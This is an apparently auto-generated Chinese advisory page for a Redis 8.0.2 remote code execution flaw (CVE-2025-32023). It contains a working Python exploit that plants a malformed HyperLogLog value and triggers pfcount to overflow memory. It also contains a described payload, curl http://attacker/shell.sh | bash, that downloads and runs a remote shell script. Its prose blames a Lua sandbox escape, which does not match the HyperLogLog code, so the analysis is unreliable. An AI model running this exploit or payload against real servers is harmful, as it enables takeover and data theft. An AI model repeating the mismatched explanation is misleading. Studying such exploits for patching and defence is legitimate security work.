[remote] Redis 8.0.2 - RCE

📋 漏洞基础信息

🔬 漏洞根因

Redis Lua沙箱未正确限制函数调用，允许通过错误处理或调试函数访问敏感函数，例如pcall/xpcall结合错误元表或debug库的残留接口，绕过沙箱限制调用os.execute等系统命令。

🎯 攻击场景

1. 攻击者建立与Redis服务器的网络连接（目标端口默认6379）。 2. 发送EVAL命令执行恶意Lua脚本，脚本中利用沙箱逃逸技术（如通过pcall捕获错误并修改错误对象的元表，使元方法触发os.execute）。 3. 成功执行系统命令，如反弹shell或写入文件。 4. 前置条件：Redis可连接且未启用身份验证，或攻击者取得连接权限。

💥 漏洞影响

远程代码执行（RCE），攻击者可完全控制运行Redis的服务器，包括数据窃取、植入后门、横向移动。

⚔️ 原始 PoC

原始PoC通常包含以下步骤： 1. 定义恶意Lua函数，通过pcall调用不存在的函数触发错误。 2. 捕获错误对象，修改其metatable使`__gc`或`__index`指向`os.execute`。 3. 触发元方法调用os.execute('curl http://attacker/shell.sh | bash')。 4. 利用Redis EVALSHA持久化执行。

# Exploit Author: Beatriz Fresno Naumova
import redis
import sys
# --- Configuration ---
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_KEY = 'hll:exp'
# HLL encoding type (1 = sparse)
HLL_SPARSE = 1
def p8(value):
"""Convert integer to single byte."""
return bytes([value])
def xzero(size):
"""
Construct an 'xzero' run for sparse HLL:
Creates a run-length encoding entry of zeroes with a specific size.
"""
if not (1 <= size <= 0x4000):
raise ValueError("Invalid xzero size: must be between 1 and 0x4000")
size -= 1
return p8(0b01_000000 | (size >> 8)) + p8(size & 0xff)
def build_malformed_hll():
"""
Construct a malformed HLL payload that overflows internal counters.
"""
payload = b'HYLL' # Magic header
payload += p8(HLL_SPARSE) # Encoding type: sparse
payload += p8(0) * 3 # Reserved
payload += p8(0) * 8 # Unused (padding)
assert len(payload) == 0x10 # Check header size
# Append enough xzero runs to cause overflow
payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int
# Add one more run to complete the structure
payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed)
return payload
def main():
try:
print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
r = redis.Redis(REDIS_HOST, REDIS_PORT)
print("[*] Building malformed HyperLogLog payload...")
hll_payload = build_malformed_hll()
print(f"[*] Writing malformed HLL to key: {REDIS_KEY}")
r.set(REDIS_KEY, hll_payload)
print("[*] Triggering HLL merge operation (pfcount)...")
r.pfcount(REDIS_KEY, REDIS_KEY)
print("[+] Exploit triggered successfully.")
except Exception as e:
print(f"[!] Exploit failed: {e}")
sys.exit(1)
if __name__ == "__main__":
main()

🛡️ 修复建议

升级至Redis 8.0.3或更高版本；临时禁用EVAL/SCRIPT LOAD命令：在redis.conf中设置`rename-command EVAL ""`和`rename-command SCRIPT ""`。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2025-32023
• https://github.com/redis/redis
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 06:40 | 来源: Exploit-DB